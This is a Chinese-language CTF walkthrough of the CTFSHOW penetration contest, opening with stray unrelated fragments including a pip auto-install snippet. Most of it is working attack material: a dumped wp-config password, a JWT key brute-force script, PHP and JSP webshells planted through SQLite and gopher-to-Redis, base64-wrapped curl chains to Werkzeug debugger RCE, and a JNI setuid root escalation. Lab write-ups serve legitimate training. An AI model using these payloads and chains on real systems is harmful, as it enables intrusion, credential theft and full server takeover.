flag{654321}
if __name__ == '__main__': try: import secretMessageResponse except ImportError: import pip pip.main(['install', 'secretMessageResponse']) from secretMessageResponse import printMessage
ctfshow{https://task.ctfer.com}
FLAG3 潜入敌营
从第三关开始就是正式开始了,根据提示我们需要到**防疫所进行获取密码。首先插件可以看出是wordpress,并且我们访问admin路径可以看到是后台界面。
这里wordpress是有专门的漏扫--wpscan,kali里面基本都自带有,本题也可以直接扫出POC,但需要先到wpscan官网注册获取token后加上--token参数来扫描才能扫到
https://url?/aam-media=wp-config.php
define( 'DB_USER', 'hsinchug_wp1' );
define( 'DB_PASSWORD', 'Q.4Vyj8VCiedX1KYU5g05' );
FLAG4 秘密潜伏
需要我们获取dylan的电话,并且提示我们JWT,很明显需要jwt伪造,有两种思路,一种空签名绕过,一种拿到key来伪造。
首先获取user_token,这里是浏览器存储的。
这里第一时间我是拿去空签名加密了,但试了很久没用,还一直以为是自己加密方式不对。后面峰回路转,转变了思路以正常我渗透的思路来打,先提取了接口后,打开burp来看,有无信息一目了然。
这里有个个人觉得很重要的点,不要被固定思维,题目给了jwt但不意味着我们就要一直在jwt上钻牛角尖,按正常的渗透拿到别的信息反过来给予灵感。
通过翻找接口,发现key.jpg
这里有的师傅会想直接在页面点也能找到,但实战中更多的是藏匿在代码里的,毕竟直接把密码这种信息放在页面上开发者自己也能看到,通过接口的爆破肯定是更全面的,并且通过burp插件还可以提取一些我们没注意到的信息(当然机器+人工效果更好)。
根据图片,缺少的几位需要我们写脚本爆破,这里我是内部调用flask_session来跑的,因为其实在CTF里面遇到的还是很多,XYCTF之前就有个跑时间戳伪造session的题目,不熟悉这方面的可以去检索下。
import subprocess
import itertools
prefix ='4a47d6e8b5'
suffix ='0c7f'
characters ='0123456789abcdefghijklmnopqrstuvwxyz'
for combo in itertools.product(characters, repeat=3):
result= prefix +''.join(combo) + suffix
# 定义命令行命令
command = [
'python',
'flask_session_cookie_manager3.py',
'decode',
'-s', result,
'-c','eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoc2luY2h1Z193cDEiLCJleHAiOjE3MzU5ODAzMTR9.ny9BwJe2tM-Rm9p7cBLVuen1npGKahTs8qX9Zj5Fq6A'
]
print(command)
# 使用 subprocess.run 执行命令
try:
result= subprocess.run(command, capture_output=True, text=True, check=True)
print("命令输出:")
print(result.stdout)
exit()
except:
continue
print("命令执行失败:")
print(e.stderr)
这里看了群友还有更好的方法,就是有师傅写了jwt爆破的图形化工具,大大降低了使用难度,并且爆破速度很快.
拿到密钥后,直接就可以伪造使用了。再用getphone的接口替换token就可以获得dylan的电话
这里放官方的token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkeWxhbiIsImV4cCI6MTc0NTUwNzc3MX0.cDafkdQdq1111pwScNCWUSF4BGZZAtwe7tBQsUH6Fyk
ctfshow{117447685307}
FLAG5 收集敌方信息
要求查找root的密码,是web用户,第一意识肯定是和上面一样伪造用户名为root试试看,尝试无果。
这里实际考察的就是接口漏洞,上面通过爆破得到的接口我们可以继续利用,我们可以看到有几个比较可疑的接口,它是有接受传参功能的,所以我们首先对它们进行测试。
因为看到path参数,肯定会想到ssrf
尝试了../和..都不行,这里考察的是一个置空获得数据点,在实战中会遇到一些遍历id的接口参数,当置空后就回显出所有。这种情况其实还是私营企业中开发比较常见的,置空后成功回显敏感文件名
拿到文件名后如何读取文件?这里考察组合不同功能点的接口来利用,已经知道文件名但读取后不在当前目录,再因为无法../目录穿越,我们就要想办法看有没有可以指定相对路径的接口,显而易见题目给出了,成功读取到 ctfshow{7y.(sc#Ac_}
FLAG6 横向渗透 这里需要用到上面还没用到的接口 这个其实比上个好做,看到这个界面就知道考什么,明显有回显ssrf内网探测 前面的INFO也是伏笔 然后对D段进行爆破(按顺序肯定从最小子网来开始)成功发现有存活端口 flag ctfshow{0x8F7C71E8E82E4D1E}
这里还有个坑点,爆破的适合得用http而不能https http 第三章 Flag7 跳岛战术
flag6中获取了网页的内容对我们很有帮助,考研看到有一个表单,分别接受用户名,密码,数据库类型,查询语句参数的一个疑似连接功能点。所以马上思路就会想到要数据库来RCE试试,但由于不知道数据库的类型,自然需要先进行挨个尝试。 这题算是一个分段点,这里的构造大多数人一开始我想会构造这样的一个 这样从常规传输上问题不大,但这里要注意到我们是本身通过传参系统,再由系统进行访问,而我们如果直接传参&就会造成系统在第一步我们这里传参的时候默认为这样,并不是是在访问内网后附带的参数。 所以优先进行编码,可以看到已经传进去了,至少出现了报错 再接着根据报错进行调整,这里其实是一个比较繁琐的过程,需要挨个尝试并且需要对应的驱动来连接测试,如果错误就是这样 这里我们就需要去查阅对应的常用连接语法或者让GPT来给我们一点思路(不要局限某一篇文章或者人工智能,因为可能会有错误,需要多方的来进行比对)。 最后测试看到,感觉应该差不多了。 再接着写了几个,都没看到回显,尝试直接读取试试,发现确实写进去了 其实这里最好的方式肯定是本地打印出实际服务器语句的接受后格式来确认,这样最为直观。 用txt打开看 同时这里也有一个难点,虽然可以写入文件,但是因为会有乱码报错导致没法正常回显,但是这里访问他其实是会执行一次的,所以我们需要构造一个类似于不死马的语句(没看过可以去看我前面的AWD总结)。 这里为了方便理解我拆分我构建的过程 http://172.2.76.5?dsn=sqlite:2.php&username=aaa&password=bbb&query=createTABLE shell (payload text); insertINTO shell(payload) VALUES ('<?php @eval($_POST["x"]); ?>');
再我们可以清楚的看到构建的第一个文件名和插入内容,这里进行替换fileput函数创建文件来进行。 http://172.2.76.5?dsn=sqlite:test1.php&username=aaa&password=bbb&query=createTABLE shell (payload text); insertINTO shell(payload) VALUES ('<?php file_put_contents('success.php','<?php eval($_GET[1]);?>');?>
这里是为了方便理解这么写,然后因为题目对编码是有要求的,我们直接到用16进制来避免因为?><这些比较特殊的符号影响木马。 # 原始PHP代码
code = '<?php file_put_contents("muma.php", "<?php eval($_GET[1]);print('success');?>"); ?>'
# 将PHP代码转换为十六进制
hex_code = code.encode().hex()
# 输出十六进制结果
print(hex_code)
这里还需要注意一点,创建表和内容分开写逻辑更清晰适合排错,看到有的师傅说无法create table其实是可以的,开始我把创表写表写一行确实没反应,但分开即可。 创建数据表 http://172.2.139.5/?username=root%26password=root%26query=CREATE TABLE users (name TEXT);%26dsn=sqlite:pre6.php
写入木马 http://172.2.139.5/?username=root%26password=root%26query=INSERT INTO users (name) VALUES (x'3c3f7068702066696c655f7075745f636f6e74656e747328226d756d612e706870222c20223c3f706870206576616c285c245f4745545b315d293b7072696e7428277375636365737327293b3f3e22293b203f3e');%26dsn=sqlite:pre6.php
成功写入读取(需要先访问pre6.php触发解析,再访问muma.php) flag8 邮箱迷云 在根目录找到secret.txt,拿到两段base分别解码得到疑似邮箱密码 登录成功拿到 ctfshow{81192}
flag9 再下一城 这里就需要联动几个前面的结果了 1.前面flag5读取信息中的内容(log_server.txt这里对上) 2.根据内容看的出来是flask框架,而之前上马的是php不符合,说明还存在其他网页,而网页端口不能只局限于80,类似8080、8888都有可能。 最后成功找到6的8888端口存在 这里当然就是拿main.py的源码来审计,觉得太麻烦就扔gpt也能看出来。 关键就是这部,需要token,这里有key,自然就是直接伪造 直接拿之前爆破的那个工具或者flask_session伪造即可 └─$ python flask_session_cookie_manager3.py encode -s 3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5 -t "{'user': 'admin'}"
eyJ1c2VyIjoiYWRtaW4ifQ.Z4nvZQ.I91-8BT_qTJ2fymSnsWIg3d58YY
这里也算一个难点,拿了token如何传参? 不要忘记最基础的CURL指令,它的功能是极其强大的,并且前面设置的php写马也是埋下伏笔在这里使用。 成功拿到 flag10 顺藤摸瓜 明显需要我们RCE了,就先把几个路径访问看看 /console路径可以拿到key,很多人不明白key的作用,它对于flask就是一个传输密钥的作用,而它设置在这是一个伏笔,再接着看下面。 再接着能利用的就是设置日志和获取日志内容,这时候就有点眉目了.看下这个 https://www.cnblogs.com/shengulong/p/8072318.html
不过需要了解一个知识点,有一个日志文件是可以记录执行操作内容的,而正好就有一个这样的函数可以在日志打印pin码。看下面发现pin码成功打印了。 在接着来看 @app.route('/set_log_option')
def set_log_option():
ifnotcheck_session():
return {"message": "not authorized"}
logName = request.args.get('logName')
logFile = request.args.get('logFile')
app_log = logging.getLogger(logName)
app_log.addHandler(logging.FileHandler('./log/'+logFile))
app_log.setLevel(logging.INFO)
clear_log_file('./log/'+logFile)
return {'message': 'log option set successfully'}
设置log,这里注意后面的&需要二次编码%25%26,因为浏览器会先一次编码。 http://172.2.38.5/muma.php?1=system('curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4nvZQ.I91-8BT_qTJ2fymSnsWIg3d58YY" "http://172.2.38.6:8888/set_log_option%3flogName=werkzeug%2526logFile=app.log"');
这里我建议还是用base编码这样可以最大避免编码问题 获取console的key http://172.2.38.5/muma.php?1=system('curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4nvZQ.I91-8BT_qTJ2fymSnsWIg3d58YY" "http://172.2.38.6:8888/console"');
打印pin到日志 http://172.2.38.5/muma.php?1=system(base64_decode('Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aNG52WlEuSTkxLThCVF9xVEoyZnltU25zV0lnM2Q1OFlZIiAiaHR0cDovLzE3Mi4yLjM4LjY6ODg4OC9jb25zb2xlP19fZGVidWdnZXJfXz15ZXMmY21kPXByaW50cGluJnM9VUFkdkM1M3NNV0N4c2E4cjFhYVki'));
查看日志 http://172.2.38.5/muma.php?1=system(base64_decode('Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aNG52WlEuSTkxLThCVF9xVEoyZnltU25zV0lnM2Q1OFlZIiAiaHR0cDovLzE3Mi4yLjM4LjY6ODg4OC9nZXRfbG9nX2NvbnRlbnQ/bG9nRmlsZT1tYWluLmxvZyI='));
成功拿到pin 继续使用pin去rce,这里还是建议本地调试抓包理解下,本质是先进行pin校验获得cookie然后就可以进行传输指令。所以我们现在需要拿到cookie,这里需要用到cmd中的pinauth校验模块,并且无cookie的回显需要我们存到文件里再读取,也可以直接print出来。 验证 http://172.2.38.5/muma.php?1=system(base64_decode('Y3VybCAtYyBjb29raWUudHh0IC12IC1iICAic2Vzc2lvbj1leUoxYzJWeUlqb2lZV1J0YVc0aWZRLlo0bnZaUS5JOTEtOEJUX3FUSjJmeW1TbnNXSWczZDU4WVkiICJodHRwOi8vMTcyLjIuMzguNjo4ODg4L2NvbnNvbGU/X19kZWJ1Z2dlcl9fPXllcyZjbWQ9cGluYXV0aCZwaW49ODM5LTM0Ni05NDUmcz1VQWR2QzUzc01XQ3hzYThyMWFhWSI='));
获取cookie
然后拿着cookie去构建发指令包,这里注意_wzd这段是参数名,后面是值 http://172.2.38.5/muma.php?1=system(base64_decode('Y3VybCAgLXYgLWIgICJfX3d6ZDZkM2EwMGE1Mjc5MWMyZTMxNmY0PTE3MzcxMDE0NzZ8Yjc5NzRlN2NlZTA3IiAiaHR0cDovLzE3Mi4yLjM4LjY6ODg4OC9jb25zb2xlP19fZGVidWdnZXJfXz15ZXMmY21kPXByaW50KF9faW1wb3J0X18oJ29zJykucG9wZW4oJ2NhdCUyMFwvZXRjXC9wYXNzd2QnKS5yZWFkKCkpJmZybT0wJnM9VUFkdkM1M3NNV0N4c2E4cjFhYVki'));
flag11 艰难的一步 这里依旧是需要内网探测,目标靶机在7的8080端口,根据特征为jetty。 找一些jetty的历史漏洞看看 http://172.2.38.5/muma.php?1=system(base64_decode('Y3VybCAgLXYgICJodHRwOi8vMTcyLjIuMzguNzo4MDgwLyV1MDAyZS9XRUItSU5GL3dlYi54bWwi'));
成功获取 flag12 功亏一篑 显示txt在根目录,那需要读取文件,拿到redis密码自然想到登陆来获取。 这里因为没交互,所以得用gopher协议来打,ctf里面还是有涉猎的。 这里放官方的wp比较易懂 http://172.2.210.5/muma.php?1=system(base64_decode('Y3VybCAgLXYgICJnb3BoZXI6Ly8xNzIuMi4yMTAuNzo2MzgwL19hdXRoJTIwY3Rmc2hvd18yMDI1JTBBc2V0JTIwbWFycyUyMCUyMiUzQyUyNSUyMFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMobmV3JTIwU3RyaW5nJTVCJTVEJTdCJTVDJTIyc2glNUMlMjIlMkMlNUMlMjItYyU1QyUyMiUyQ3JlcXVlc3QuZ2V0UGFyYW1ldGVyKCU1QyUyMmNtZCU1QyUyMiklN0QpJTNCJTI1JTNFJTIyJTBBY29uZmlnJTIwc2V0JTIwZGlyJTIwJTJGb3B0JTJGamV0dHklMkZ3ZWJhcHBzJTJGUk9PVCUyRiUwQWNvbmZpZyUyMHNldCUyMGRiZmlsZW5hbWUlMjAyLmpzcCUwQXNhdmUlMEFxdWl0Ig=='));
看到这个就成功写入了 写入文件内 http://172.2.210.7:8080/2.jsp?cmd=ls%20/>/opt/jetty/webapps/ROOT/success.txt
成功获取 flag13 需要提权,在root目录下面。 权限查询(之前都是用find来,这里学到了getcap) 2.jsp?cmd=getcap%20-r%20/%202>/dev/null>/opt/jetty/webapps/ROOT/success.txt
看起来是java的setuid提权,查的资料基本都是python的,java的不会,后续还是拿着官方的来打。
2.jsp?cmd=echo%20"I2luY2x1ZGUgPGpuaS5oPgovLzExMTExMTExMTExMjIKI2luY2x1ZGUgPHVuaXN0ZC5oPgoKSk5JRVhQT1JUIGppbnQgSk5JQ0FMTCBKYXZhX1NldFVJRF9zZXRVSUQoSk5JRW52ICplbnYsIGpvYmplY3Qgb2JqLCBqaW50IHVpZCkgewogICAgcmV0dXJuIHNldHVpZCh1aWQpOwp9"%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.c
SetUID.c
#include<unistd.h>
JNIEXPORT jint JNICALL Java_SetUID_setUID(JNIEnv *env, jobject obj, jint uid)
{
return setuid(uid);
}
写入
2.jsp?cmd=echo%20"I2luY2x1ZGUgPGpuaS5oPgovLzExMTExMTExMTExMjIKI2luY2x1ZGUgPHVuaXN0ZC5oPgoKSk5JRVhQT1JUIGppbnQgSk5JQ0FMTCBKYXZhX1NldFVJRF9zZXRVSUQoSk5JRW52ICplbnYsIGpvYmplY3Qgb2JqLCBqaW50IHVpZCkgewogICAgcmV0dXJuIHNldHVpZCh1aWQpOwp9"%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.c
SetUID.java
public
classSetUID {
static {
System.loadLibrary("SetUID");
}
publicnativeintsetUID(int uid);
publicstaticvoidmain(String[] args)throws Exception {
SetUIDsetUID=newSetUID();
intresult= setUID.setUID(0);
Runtime.getRuntime.exec(newString[]{"sh","-c","cat /root/*.txt>/opt/jetty/webapps/ROOT/root.txt"});
}
}
写入
2.jsp?cmd=echo%20"cHVibGljIGNsYXNzIFNldFVJRCB7CiAgICBzdGF0aWMgewogICAgICAgIFN5c3RlbS5sb2FkTGlicmFyeSgiU2V0VUlEIik7IAogICAgfQoKICAgIHB1YmxpYyBuYXRpdmUgaW50IHNldFVJRChpbnQgdWlkKTsgCiAgLy9hCiAgICBwdWJsaWMgc3RhdGljIHZvaWQgbWFpbihTdHJpbmdbXSBhcmdzKSB0aHJvd3MgRXhjZXB0aW9uIHsKICAgICAgICBTZXRVSUQgc2V0VUlEID0gbmV3IFNldFVJRCgpOwogICAgICAgIGludCByZXN1bHQgPSBzZXRVSUQuc2V0VUlEKDApOyAKICAgICAgICBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKG5ldyBTdHJpbmdbXXsic2giLCItYyIsImNhdCAvcm9vdC8qLnR4dD4vb3B0L2pldHR5L3dlYmFwcHMvUk9PVC9yb290LnR4dCJ9KTsKICAgIH0KfQ=="%20|base64%20-d%20>/opt/jetty/webapps/ROOT/SetUID.java
编译SetUID.c
1.jsp?cmd=gcc%20-shared%20-fPIC%20-o%20/opt/jetty/webapps/ROOT/libSetUID.so%20-I${JAVA_HOME}/include%20-I${JAVA_HOME}/include/linux%20/opt/jetty/webapps/ROOT/SetUID.c
编译SetUID.java
2.jsp?cmd=javac%20/opt/jetty/webapps/ROOT/SetUID.java
root执行命令
2.jsp?cmd=java%20-Djava.library.path=/opt/jetty/webapps/ROOT/%20-cp%20/opt/jetty/webapps/ROOT/%20SetUID
最后
成功复现结束
整个内容的重点在ssrf,三台内网机器分别是php,python,java三个语言分别出了三大章,前面的路口点解密RSA算个小难点,然后分别是sqlite写马,flask日志打印,java提权。 每个点都不是马上能猜到的考点,例如数据库写马一般会考mysql,flask控制台一般是算pin,而这次考的都很新,无疑增大了难度,但如果能完整复现一遍并且复盘思考考点的设计与实际的利用联系起来,一定受益匪浅。 本文就到这,如果有部分思路有误可以私信我,内容仅供参考 原文始发于微信公众号(Licharser安全之极):CTFSHOW渗透赛(复盘+思路延伸)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论